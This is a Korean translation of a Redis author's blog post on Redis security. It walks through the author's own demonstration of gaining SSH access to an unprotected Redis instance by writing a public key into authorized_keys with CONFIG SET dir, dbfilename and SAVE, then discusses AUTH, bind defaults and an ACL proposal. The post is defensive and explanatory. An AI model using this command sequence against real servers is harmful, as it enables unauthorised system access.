Redis 보안에 대한 몇 가지 이야기
중요 수정: Redis 3.2에서 보호 모드(protected mode)를 도입하여 보안이 개선되었습니다. 자세한 내용은 여기에서 확인할 수 있습니다: https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/
가끔 Redis에 대한 보안 제보를 받곤 합니다. 제보를 받는 것 자체는 좋은 일이지만, 받는 내용이 대부분 Lua 샌드박스 탈출이나 안전하지 않은 임시 파일 생성 같은 문제라는 점은 어딘가 아이러니합니다. 저희가 보안 페이지(http://redis.io/topics/security)에서 설명한 것처럼 Redis는 애초에 외부에 그대로 노출되면 전혀 안전하지 않도록 설계된 소프트웨어이기 때문입니다.
그럼에도 이런 버그 제보는 종종 유용합니다. 모든 소프트웨어 일반, 그리고 특히 Redis와 관련해 보안에는 여러 단계가 있기 때문입니다. 데이터베이스에 접근할 수 있게 되었을 때 단순히 데이터베이스 내용 자체를 수정하는 데 그칠지, 아니면 Redis가 동작 중인 로컬 시스템까지 장악할 수 있을지는 전혀 다른 문제입니다.
특정 보안 계층이 시스템에서 얼마나 중요한지는 그 시스템의 보안 모델에 달려 있습니다. 해당 시스템이 웹 서버처럼 신뢰할 수 없는 사용자가 접근하도록 설계된 것인가요? 사용자 유형에 따라 권한 수준이 나뉘어 있나요?
Redis의 보안 모델은 이렇습니다. “신뢰할 수 없는 클라이언트가 시스템에 접근하도록 허용하는 것은 전혀 안전하지 않습니다. 외부로부터 직접 보호해 주세요.” 그 이유는 기본적으로 Redis 사용 사례의 99.99%가 샌드박스 환경 내부에 있기 때문입니다. 보안은 복잡합니다. 보안 기능을 추가하면 복잡성이 더해집니다. 0.01%의 사용 사례를 위해 복잡성을 더하는 것은 그다지 바람직하지 않습니다. 물론 이는 설계 철학의 문제이므로 생각이 다를 수도 있습니다.
문제는 보안 페이지에 아무리 그렇게 명시해도, 의도치 않게 인터넷에 노출된 Redis 인스턴스가 매우 많다는 점입니다. 외부 클라이언트가 Redis에 접근해야 해서가 아니라, 그저 아무도 방화벽으로 차단하거나, AUTH를 활성화하거나, 로컬 클라이언트만 접근한다면 127.0.0.1에 바인딩하는 등의 방식으로 외부 접근을 차단하는 수고를 하지 않았기 때문입니다.
재미로 Redis를 해킹해 봅시다. 어차피 제가 만든 것이라 이득은 전혀 없습니다
Redis의 “보안 모델”을 가혹한 방식으로 보여주기 위해 5분짜리 간단한 실험을 해봤습니다. 보안 페이지에서 Redis가 노출됐을 때 심각한 문제가 생길 수 있다고 넌지시 언급해 둡니다. 이렇게 쓰여 있습니다. “하지만 CONFIG 명령으로 서버 설정을 제어할 수 있으면 클라이언트가 프로그램의 작업 디렉터리와 덤프 파일 이름을 바꿀 수 있습니다. 이를 통해 클라이언트는 임의의 경로에 RDB Redis 파일을 쓸 수 있는데, 이는 쉽게 Redis와 동일한 사용자로 신뢰할 수 없는 코드를 실행할 수 있게 되는 보안 문제입니다.”
그래서 실험은 다음과 같이 진행했습니다. 지금 설정 그대로 제 MacBook Air에서 Redis 인스턴스 하나를 실행합니다. 그리고 다른 호스트에서 제 노트북을 탈취하는 것이 목표입니다.
우선 전제 조건인 인스턴스에 접근할 수 있는지부터 확인해 보겠습니다.
$ telnet 192.168.1.11 6379 Trying 192.168.1.11... Connected to 192.168.1.11. Escape character is '^]'. echo "Hey no AUTH required!" $21 Hey no AUTH required! quit +OK Connection closed by foreign host.
접속이 되고, AUTH도 필요하지 않습니다. 비밀번호를 설정하지 않으면 Redis는 무방비 상태입니다. 이런 상황에서는 임의의 파일을 쓰는 것이 가장 간단한 공격입니다. 그런데 마침 제 MacBook Air에서는 SSH 서버가 동작하고 있었습니다. 접근 권한을 얻기 위해 ~/ssh/authorized_keys에 무언가를 써 보는 건 어떨까요?
먼저 새로운 SSH 키를 생성해 보겠습니다.
$ ssh-keygen -t rsa -C "[email protected]" Generating public/private rsa key pair. Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./id_rsa. Your public key has been saved in ./id_rsa.pub. The key fingerprint is: f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 [email protected] The key's randomart image is: +--[ RSA 2048]----+ | . O+.| | . o o..o*o| | = . + .+ . | | o B o . | | . o S E . | | . o | | | | | | | +-----------------+
이제 키가 생겼습니다. 목표는 이 키를 Redis 서버 메모리에 넣은 뒤, 결과물인 authorized_keys 파일이 여전히 유효한 형태가 되도록 파일로 옮기는 것입니다. RDB 형식으로 이렇게 하려 하면 출력이 바이너리이고 이론상 문자열이 압축될 수도 있다는 문제가 있습니다. 하지만 글쎄요, 아마 문제는 없을 겁니다. 우선 제가 생성한 공개 SSH 키 앞뒤에 빈 줄을 추가해 패딩해 보겠습니다.
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
이제 foo.txt는 앞뒤에 빈 줄이 추가된 공개 키 그 자체입니다. 이 문자열을 redis-cli를 이용해 Redis 메모리에 쓸 수 있습니다.
~~~~~~~~~~~~~~~~~~~
참고: 다음 단계는 스크립트 키디가 공격을 그대로 복사해 붙여 넣지 못하도록 사소한 부분에서 수정되었습니다. 이 공격이 공개된 순간부터 전 세계적으로 여러 Redis 인스턴스가 실제로 탈취되었기 때문입니다.
~~~~~~~~~~~~~~~~~~~
$ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dbfilename "backup.rdb" OK 192.168.1.11:6379> save OK (Ctrl+C) $ redis-cli -h 192.168.1.11 echo flushall $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
좋아 보입니다. 메모리 내용을 authorized_keys 파일로 덤프하려면 어떻게 해야 할까요? 아주 간단합니다.
$ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dir /Users/antirez/.ssh/ OK 192.168.1.11:6379> config get dir 1) "dir" 2) "/Users/antirez/.ssh" 192.168.1.11:6379> config set dbfilename "authorized.keys" OK 192.168.1.11:6379> save OK
이 시점에서 대상 authorized keys 파일은 온통 쓰레기 값으로 가득 차겠지만, 그 안에 우리의 공개 키도 포함되어 있을 것입니다. 문자열에 단순한 패턴이 없으니 RDB 파일 안에서 압축되었을 가능성은 낮습니다. ssh가 이렇게 완전히 손상된 파일을 아무 문제 없이 파싱하고, 그 안에서 유일하게 정상적인 항목 하나만 받아들일 만큼 순진할까요?
$ ssh -i id_rsa [email protected] Enter passphrase for key 'id_rsa': Last login: Mon Nov 2 15:58:43 2015 from 192.168.1.10 ~ ➤ hostname Salvatores-MacBook-Air.local
그렇습니다. 저는 Redis 사용자로 제대로 된 셸을 얻어 접근에 성공했습니다. 단 5초 만에 말입니다. 보호되지 않은 Redis 인스턴스가 기본적으로 ‘원하는 파일을 써 주는’ 서버나 다름없었기 때문이고, 이번 경우에는 ssh가 단 하나의 정상 항목을 제외하고는 전부 손상된 키로 이루어진 파일을 거부할 만큼 보수적이지 않았기 때문입니다. 하지만 문제는 ssh가 아닙니다. 바이너리 쓰레기가 섞여 있더라도 일단 파일을 쓸 수 있게 되면, 어떤 식으로든 시스템 접근 권한을 얻게 되기까지는 시간문제입니다.
이 엉망진창을 어떻게 고칠까?
Redis는 노출되면 안전하지 않으며, Redis의 보안 모델은 인가되고 신뢰할 수 있는 클라이언트만 접근해야 한다는 것이라고 저희는 말합니다. 하지만 안타깝게도 이것만으로는 충분하지 않습니다. 사용자들은 여전히 보호되지 않은 상태로 실행할 것이고, 더 나쁜 점은 배포 실수에 대해 Redis를 더 안전하게 만드는 것과 개발용이나 제한이 필요 없는 안전한 환경에서 Redis를 쓰는 사람들을 위해 사용을 쉽게 유지하는 것 사이에 긴장이 존재한다는 점입니다.
예를 들어 보겠습니다. 최신 버전의 Redis는 예제 redis.conf에서 기본값이 “bind 127.0.0.1”로 설정되어 제공됩니다. 서버를 인수 없이 실행하면 여전히 모든 인터페이스에 바인딩됩니다. 개발용으로 Redis를 실행하는 사용자가 많을 텐데, 다른 호스트에서의 접속을 허용하려고 예제 서버를 굳이 재설정하게 만들어 귀찮게 하고 싶지 않았기 때문입니다. 많은 사용자가 설정 템플릿으로 사용하는 예제 redis.conf는 기본적으로 로컬호스트 인터페이스에만 바인딩되도록 되어 있습니다. 이를 통해 배포 실수가 조금이라도 줄어들기를 바랍니다.
하지만 이 조치는 그다지 효과적이지 않습니다. 안타깝게도 보안에 둔감한 대부분의 사용자가 127.0.0.1 바인딩 때문에 외부에서 클라이언트 접속이 안 된다는 것을 깨달은 뒤에 하는 일은, 그냥 bind 라인을 지우고 재시작하는 것이기 때문입니다. 그러면 다시 안전하지 않은 설정으로 돌아가게 됩니다.
기본적으로 문제는 다음 세 가지 사이에서 타협점을 찾는 것입니다.
- 아는 사람은 불편함 없이 Redis에 접근할 수 있게 만들기
- 모르는 사람을 위해 Redis를 덜 위험하게 만들기
- RTFM(매뉴얼을 읽으세요)이라는 이유로 “1”을 “2”보다 선호하는 저의 편향
ACL로 문제를 완화하기
Redis를 외부로부터 “격리”한다는 개념에 중복성을 더하는 한 가지 방법은 AUTH 명령을 사용하는 것입니다. 매우 간단합니다. 비밀번호를 요구하도록 Redis를 설정하고, 클라이언트는 설정된 비밀번호를 이용해 AUTH 명령으로 인증합니다. 메커니즘은 단순합니다. 비밀번호는 해시되지 않으며, 설정 파일과 애플리케이션 안에 평문으로 적혀 있으므로 일종의 공유 비밀과 같습니다.
이는 TCP 연결을 스니핑하거나 애플리케이션 서버를 탈취하는 사람에게는 효과가 없지만, 보호되지 않은 Redis 인스턴스를 인터넷에 그대로 두는 명백한 실수에 대해서는 효과적인 보안 계층이 됩니다.
AUTH에 대해 몇 가지 덧붙이자면 다음과 같습니다.
- Redis를 오라클로 삼아 초당 수많은 비밀번호를 시험해 볼 수는 있지만, 비밀번호를 사람 머릿속에 저장할 필요는 없습니다. Redis 설정 파일과 클라이언트 설정 안에만 있으면 되므로, brute force가 불가능할 정도로 매우 길고 복잡한 비밀번호를 선택하세요.
- AUTH는 연결이 생성될 때 전송되며, 제대로 된 애플리케이션 대부분은 연결을 유지하므로 비용이 거의 들지 않습니다. 또한 GET이나 SET처럼 실행이 극히 빠른 명령이며, 디스크나 다른 외부 시스템을 건드리지 않습니다.
- 잘 격리된 환경에서도 훌륭한 보호 계층이 됩니다. 실수로 인스턴스가 인터넷까지는 아니더라도 원래는 통신해서는 안 될 클라이언트에 노출될 수도 있기 때문입니다.
AUTH를 발전시키는 것이 보안을 강화하는 올바른 방향일지도 모릅니다. 그래서 얼마 전 Redis에 “진짜 사용자”를 추가하자는 제안을 공개했습니다: https://github.com/redis/redis-rcp/blob/master/RCP1.md
이 제안은 기본적으로 ACL이 적용된 사용자를 추가하는 것입니다. 동작 방식이나 실행 속도 면에서 AUTH와 매우 유사하지만, 사용자마다 권한이 다릅니다. 예를 들어 일반 사용자는 기본적으로 관리 명령에 접근할 수 없으므로, 이들에게는 “CONFIG SET dir” 같은 명령이 허용되지 않으며 위에서 본 익스플로잇 같은 문제도 발생하지 않습니다.
기본 사용자는 여전히 일반 명령을 실행할 수 있습니다(그래서 Lua 샌드박싱에 대해 보내주신 패치는 제가 적용했고 실제로 매우 유용합니다). 관리 명령을 사용하려면 admin 사용자를 별도로 설정해야 합니다. 다만 Redis를 더 사용자 친화적으로 만들기 위해 할 수 있는 한 가지는, 루프백 인터페이스를 통한 연결이라면 비밀번호가 비어 있는 “admin” 사용자를 항상 허용하는 것입니다(물론 이 기능은 비활성화할 수 있어야 합니다).
ACL은 완벽하지는 않지만 분명한 장점이 있습니다. Redis가 올바른 방식으로 인터넷에 노출되어 SSL로 프록시될 때, 접근 제어 계층을 하나 더 두는 것은 매우 유용합니다. 로컬 클라이언트만 있어 SSL을 사용하지 않을 때조차, 클라이언트가 할 수 있는 일을 더 세분화해 제어하는 것은 여러모로 이점이 있습니다. 예를 들어 프로그래밍 실수나 관리 실수로부터 보호할 수 있습니다. 일반 사용자에게는 FLUSHALL이나 FLUSHDB를 허용하지 않을 수 있고, Redis 모니터링 서비스용 클라이언트는 엄선된 몇 가지 명령만 허용된 사용자를 사용하도록 할 수 있습니다.
인스턴스 보호에 신경 쓰지 않는 사용자는 여전히 외부에서 접근 가능한 데이터베이스를 갖게 되겠지만, 관리 명령은 사용할 수 없습니다. 이는 데이터베이스 안에 담긴 데이터 관점에서는 여전히 안전하지 않지만, Redis 인스턴스가 동작 중인 시스템 관점에서는 더 안전합니다.
기본적으로 사용자 친화적이면서 동시에 공인 IP 주소에 바인딩된 인스턴스를 띄우는 사용자의 커다란 보안 실수에도 견딜 수 있도록 Redis를 만드는 목표를 달성하는 것은 불가능합니다. 하지만 Redis 프로세스와 동일한 권한으로 신뢰할 수 없는 코드를 실행할 수 있게 하는 API의 버그를 수정하고, 더 보수적인 기본 설정을 제공하며, ACL이 적용된 다중 사용자를 구현한다면, 제대로 알고 쓰는 일반 Redis 사용자의 경험에 큰 영향을 주지 않으면서도 현재 Redis 보안 상태를 개선할 수 있을 것입니다.
게다가 ACL은 애플리케이션 개발자가 애플리케이션 로직의 맥락에서 특정 클라이언트의 실제 제한에 맞는 사용자를 만들 수 있게 해, 실수가 큰 문제로 이어질 가능성을 낮춘다는 장점이 있습니다.
심지어 이런 단순한 보안 계층조차도 복잡성을 더한다는 단점이 있습니다. 특히 복제, Redis Sentinel 및 이 새로운 맥락에서 제대로 동작하려면 모두 인증을 인식해야 하는 다른 시스템에서는 더욱 그렇습니다. 하지만 점진적으로 해 나가야 할 노력임에는 틀림없습니다.
Hacker News: https://news.ycombinator.com/item?id=10537852
Reddit: https://www.reddit.com/r/redis/comments/3rby8c/a_few_things_about_redis_security/
글을 무작위로 읽기